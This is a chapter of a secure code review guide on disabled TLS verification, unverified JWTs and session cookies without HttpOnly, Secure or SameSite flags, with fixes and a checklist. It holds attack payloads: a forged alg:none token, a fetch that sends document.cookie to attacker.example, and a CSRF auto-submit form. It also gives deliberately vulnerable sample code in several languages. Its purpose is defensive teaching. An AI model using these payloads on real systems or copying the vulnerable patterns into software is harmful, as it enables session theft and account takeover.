4.41 Review Insecure Coding Practice
4.41 - Review Insecure Coding Practice
“Insecure coding practice” is not one CWE. It is a cluster of implementation habits that look small in a diff but collapse transport trust, session trust, or API identity in production. This chapter focuses on three high-frequency patterns: HTTPS clients that skip certificate verification, JWT handling that skips signature and key checks, and session cookies missing HttpOnly, Secure, and SameSite. It also lists related practices you should scan in the same review pass, with pointers to dedicated mini-chapters where they exist.
What This Vulnerability Is
These flaws come from convenience shortcuts, copy-pasted samples, or framework defaults left unchanged. The application still “uses HTTPS” or “uses JWT,” but the code does not actually validate the peer, token, or cookie the way the design assumes.
The unsafe assumption is that the network is honest, the token payload is authoritative because it is base64-encoded, or that HTTPS alone protects sessions without explicit cookie flags. Attackers exploit MITM on outbound calls, forged JWTs, and stolen session cookies. Reviewers should treat each pattern as a missing security control, not as style issues.
Vulnerability Characteristics (Where to Identify Them)
| Pattern | Where to look | Red flags |
|---|---|---|
| TLS / HTTPS verification disabled | requests.get(..., verify=False), custom TrustManager that accepts all certs, NODE_TLS_REJECT_UNAUTHORIZED=0, gRPC/HTTP clients with insecure channel creds |
Comments like “fix cert later,” test code shipped to prod |
| JWT signature / key mishandling | get_unverified_claims, hardcoded HMAC secrets, accepting alg: none, JWKS without issuer/audience checks |
Auth middleware that trusts base64 payload segments |
| Insecure HTTP cookie flags | set_cookie without httponly/secure/samesite, legacy servlet cookies, framework session defaults |
Session ID in URL, year-long Max-Age, logout that only clears client cookie |
| Hardcoded secrets (related) | API keys, DB passwords, signing keys in source | See 4.32 Review Hardcoded Secrets |
| Weak or custom crypto (related) | MD5 passwords, home-grown AES, mixed hash/encrypt | See 4.12, 4.36, 4.38 |
| Dangerous dynamic execution (related) | eval, exec, script engines on user input |
See 4.35 Review Dangerous Functions |
| Sensitive data in logs or URLs (related) | Tokens/passwords in logs, credentials in GET | See 4.22, 4.25 |
| Secrets in comments (related) | Password hints in HTML/JS comments | See 4.31 Review Sensitive Code Comments |
| Insecure deserialization (related) | pickle.loads on untrusted bytes |
See 4.37 Review Insecure Deserialization |
| Framework defaults left weak (related) | DEBUG=True, permissive CORS, CSRF off | See 4.30 Review Framework Secure Defaults |
Suggested additions for the same review pass: debug endpoints left enabled in production, permissive CORS with credentials, missing CSRF on state-changing cookie auth (4.13), trust-all proxy headers without validation, and disabling security headers (CSP, HSTS) at the edge.
Attack Payloads
Use these in authorized tests against TLS clients, JWT validators, and cookie-based sessions.
Pattern 1: Forged JWT (no signature verification)
{"alg":"none"}
{"sub":"admin","role":"superuser","exp":9999999999}
# Base64url header.payload. (trailing dot, empty signature)
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
Pattern 2: HS256 with weak / public secret
# Attacker brute-forces "changeme" or reads secret from git
# Re-signs token with elevated claims
{"sub":"victim","role":"admin"}
Pattern 3: Algorithm confusion (RS256 → HS256)
# Use RS256 public key as HMAC secret when server accepts both
{"alg":"HS256","typ":"JWT"}
See 4.16 Review JWT Security for full algorithm-confusion patterns.
Pattern 4: MITM with verification disabled
# Attacker on network path presents self-signed cert
# Client with verify=False accepts and reads/modifies OAuth tokens, API keys
Pattern 5: Session cookie theft via missing flags
// XSS payload when HttpOnly is false:
document.cookie
fetch('https://attacker.example/?c=' + document.cookie)
Pattern 6: Cross-site cookie send (missing SameSite)
<!-- Victim visits attacker page; browser sends session cookie on cross-site POST -->
<form action="https://app.example/transfer" method="POST">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
Language-Specific Sinks and Dangerous APIs
Python
requests.get(url, verify=False)
httpx.Client(verify=False)
from jose import jwt as jose_jwt
jose_jwt.get_unverified_claims(token) # used for auth without signature check
response.set_cookie("auth_token", sid, httponly=False, secure=False)
urllib3.disable_warnings() # often paired with verify=False
Also review: aiohttp connector with ssl=False, paramiko AutoAddPolicy, smtp without TLS.
Java
conn.setSSLSocketFactory(trustAllFactory);
conn.setHostnameVerifier((h, s) -> true);
HttpClients.custom().setSSLContext(trustAll).build();
Jwts.parser().setSigningKey("secret").parseClaimsJws(jwt); // no iss/aud
new JwtParserBuilder().setAllowedClockSkewSeconds(Integer.MAX_VALUE);
Cookie c = new Cookie("JSESSIONID", id); // no HttpOnly/Secure
Spring: spring.security.oauth2.resourceserver.jwt misconfiguration; custom filters that only base64-decode JWT payload.
C
handler.ServerCertificateCustomValidationCallback = (_, _, _, _) => true;
ServicePointManager.ServerCertificateValidationCallback += (_, _, _, _) => true;
new JwtSecurityTokenHandler().ReadJwtToken(jwt); // no validation
TokenValidationParameters { ValidateIssuer = false, ValidateAudience = false };
Response.Cookies.Append("Session", id, new CookieOptions { HttpOnly = false });
JavaScript
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
axios.get(url, { httpsAgent: new https.Agent({ rejectUnauthorized: false }) });
jwt.decode(token); // jsonwebtoken — no verify
res.cookie('session', sid); // express — default flags
fetch(url, { agent: new https.Agent({ rejectUnauthorized: false }) });
Go
tls.Config{InsecureSkipVerify: true}
jwt.ParseUnverified(tokenString, jwt.MapClaims{})
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid}) // no HttpOnly
grpc.WithTransportCredentials(insecure.NewCredentials())
Sample Vulnerable Code in Python
import httpx
from jose import jwt as jose_jwt
from starlette.applications import Starlette
from starlette.responses import JSONResponse, RedirectResponse
from starlette.routing import Route
async def login(request):
session_id = issue_session(await request.form())
response = RedirectResponse("/dashboard", status_code=302)
# Insecure cookie: no HttpOnly, Secure, or SameSite
response.set_cookie("sid", session_id, httponly=False, secure=False)
return response
async def api_me(request):
token = request.headers.get("Authorization", "").removeprefix("Bearer ")
# Trusts unverified claims — signature never checked before authorization
claims = jose_jwt.get_unverified_claims(token)
return JSONResponse({"user": claims})
async def sync_partner(request):
partner = request.query_params["partner"] # attacker-controlled HTTPS target
# TLS certificate verification disabled — MITM possible
async with httpx.AsyncClient(verify=False, timeout=10.0) as client:
r = await client.get(partner)
return JSONResponse({"body": r.text})
app = Starlette(routes=[
Route("/login", login, methods=["POST"]),
Route("/api/me", api_me),
Route("/sync", sync_partner),
])
Step-by-Step Review Walkthrough
- Search for TLS verification bypass. Grep
verify=False,CERT_NONE,check_hostname = False, and custom trust managers. Ask which environments use the code; test-only paths must not ship in production builds. - Trace outbound HTTPS from user-influenced URLs. In the sample,
sync_partnerfetches arbitrary URLs without validation—this overlaps SSRF (4.14). Even for fixed partners, disabling verification invites MITM credential theft. - Locate JWT parse and authorize paths. In
api_me, claims fromget_unverified_claimsdrive behavior without signature verification. Find everyjwt.decode, library wrappers, and API gateways that forwardX-User-Idwithout validation. - Review signing key resolution. Static
JWT_SECRET, shared dev keys, missing JWKS fetch, and noiss/aud/expchecks are common. Confirm allowed algorithms are explicit (rejectnone). - Audit cookie setters on login and refresh. Match
login()against policy: HttpOnly (anti-XSS theft), Secure (HTTPS only), SameSite (CSRF posture). See 4.33 for depth. - Walk related insecure practices. In one service, hardcoded secrets often appear beside disabled TLS verify—fix both in the same change set.
- Verify production configuration. Environment flags, Helm values, and reverse-proxy cookie settings must align with application code; code may set flags while the edge strips Secure.
Risk Impact Analysis
Man-in-the-middle on outbound HTTPS. Disabling certificate verification lets attackers intercept API keys, OAuth tokens, and PII on service-to-service calls even when the URL uses https://.
Authentication and authorization bypass via JWT. Unverified signatures or weak secrets allow arbitrary sub, role, or admin claims—full account takeover without passwords.
Session hijacking and CSRF. Cookies without HttpOnly are readable from XSS; without Secure they may leak on HTTP; without SameSite they are easier to abuse in cross-site requests.
Compounding failures. A single microservice may disable TLS verify while sending a bearer token in the header—MITM captures the token and replays it elsewhere.
Audit and compliance exposure. Regulated workloads expect demonstrable TLS trust stores, token validation, and session cookie controls; these gaps are frequent audit findings.
Vulnerable Examples in Other Languages
Java
// OkHttp client with permissive hostname verifier on user-supplied URL
OkHttpClient client = new OkHttpClient.Builder()
.hostnameVerifier((hostname, session) -> true)
.build();
Request req = new Request.Builder().url(userSuppliedUrl)
.header("Authorization", "Bearer hardcoded-partner-token")
.build();
// JWT: parser accepts HS256 with static secret only — no aud/iss
Claims claims = Jwts.parserBuilder()
.setSigningKey("changeme".getBytes(StandardCharsets.UTF_8))
.build()
.parseClaimsJws(jwt).getBody();
// Servlet cookie without HttpOnly, Secure, or SameSite
Cookie c = new Cookie("JSESSIONID", session.getId());
response.addCookie(c);
C
// HttpClient handler that accepts any server certificate
var handler = new HttpClientHandler {
ServerCertificateCustomValidationCallback = (_, _, _, _) => true
};
var client = new HttpClient(handler);
var data = await client.GetStringAsync(userUrl);
// JWT without full validation
var token = new JwtSecurityTokenHandler().ReadJwtToken(jwt);
var role = token.Claims.First(c => c.Type == "role").Value;
// Cookie missing flags
Response.Cookies.Append("Session", sessionId, new CookieOptions {
HttpOnly = false,
Secure = false
});
Go
// Insecure TLS skip (testing helper left in prod)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
resp, _ := http.Client{Transport: tr}.Get(partnerURL)
// JWT parsed without verifying signature
token, _, _ := new(jwt.Parser).ParseUnverified(tokenString, jwt.MapClaims{})
admin, _ := token.Claims.(jwt.MapClaims)["admin"].(bool)
// Cookie without HttpOnly / Secure / SameSite
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid, Path: "/"})
Fix: Safer Patterns and Libraries to Use
Python
TLS: always verify server certificates. Use default verification in httpx or requests; pin corporate roots via verify= path or system trust store—not verify=False.
import httpx
async def fetch_export(base_url: str, ca_bundle: str | None = None) -> bytes:
verify: str | bool = ca_bundle if ca_bundle else True
async with httpx.AsyncClient(verify=verify, timeout=10.0) as client:
resp = await client.get(f"{base_url.rstrip('/')}/v1/export")
resp.raise_for_status()
return resp.content
Important: Never set verify=False except in isolated tests. If tests need it, gate with an explicit non-production flag that fails closed in CI for release artifacts.
JWT: verify signature, algorithm, and claims.
import jwt
def current_user(token: str) -> dict:
return jwt.decode(
token,
key=get_signing_key(), # from env / JWKS — not a hardcoded demo secret
algorithms=["RS256"], # explicit allowlist — never accept "none"
audience="my-api",
issuer="https://idp.example/",
options={"require": ["exp", "sub"]},
)
Cookies: set HttpOnly, Secure, and SameSite.
response.set_cookie(
"sid",
session_id,
httponly=True,
secure=True,
samesite="lax",
max_age=900,
)
Java
// Use default SSL socket factory — do not install trust-all managers
HttpsURLConnection conn = (HttpsURLConnection) new URL(allowlistedUrl).openConnection();
// JWT with explicit key and algorithm (jjwt example)
Jwts.parserBuilder()
.setSigningKeyResolver(jwkResolver)
.requireIssuer("https://idp.example/")
.requireAudience("my-api")
.build()
.parseClaimsJws(jwt);
Cookie cookie = new Cookie("JSESSIONID", session.getId());
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setAttribute("SameSite", "Lax");
response.addCookie(cookie);
Important: setSigningKey("secretkey") without rotation, issuer, or audience checks is insufficient for production APIs.
C
// Default HttpClient validates server certificates
using var client = new HttpClient();
var data = await client.GetStringAsync(allowlistedUrl);
var parameters = new TokenValidationParameters {
ValidateIssuerSigningKey = true,
IssuerSigningKey = signingKey,
ValidIssuer = "https://idp.example/",
ValidAudience = "my-api",
ValidateLifetime = true,
};
var principal = new JwtSecurityTokenHandler()
.ValidateToken(jwt, parameters, out _);
Response.Cookies.Append("Session", sessionId, new CookieOptions {
HttpOnly = true,
Secure = true,
SameSite = SameSiteMode.Lax,
MaxAge = TimeSpan.FromMinutes(15),
});
Go
// Default client verifies TLS; use custom RootCAs for enterprise CAs only
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(allowlistedURL)
token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
if t.Method.Alg() != "RS256" {
return nil, fmt.Errorf("unexpected alg")
}
return publicKey, nil
}, jwt.WithAudience("my-api"), jwt.WithIssuer("https://idp.example/"))
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sid,
Path: "/",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 900,
})
Verify During Review
- No production code path uses
verify=False, trust-all TLS callbacks, or equivalent. - JWT validation enforces signature, allowed algorithms,
exp, andiss/audwhere applicable; noverify_signature=Falsein deployed branches. - Signing keys load from secret stores or JWKS with rotation; no long-lived hardcoded symmetric secrets in source.
- Session cookies use HttpOnly + Secure + deliberate SameSite; lifetimes match policy.
- User-controlled URLs are not fetched with TLS verification disabled (pair with SSRF allowlists).
- Related chapters (hardcoded secrets, CSRF, session management) are checked when any finding above is present.
Reference
- OWASP Transport Layer Protection Cheat Sheet
- Python requests — SSL Cert Verification
- Python PyJWT — Usage (decode with verification)
- RFC 7519 — JSON Web Token (JWT)
- OWASP JSON Web Token Cheat Sheet for Java
- OWASP Session Management Cheat Sheet
- MDN — Set-Cookie (HttpOnly, Secure, SameSite)
- Flask — Set-Cookie parameters
- Microsoft Learn — HttpClient certificate validation
- Microsoft Learn — TokenValidationParameters
- Java HttpsURLConnection documentation
- jjwt — JJWT README (signature verification)
- Go crypto/tls — Config
- Go golang-jwt — jwt.Parse
- Go net/http — Cookie fields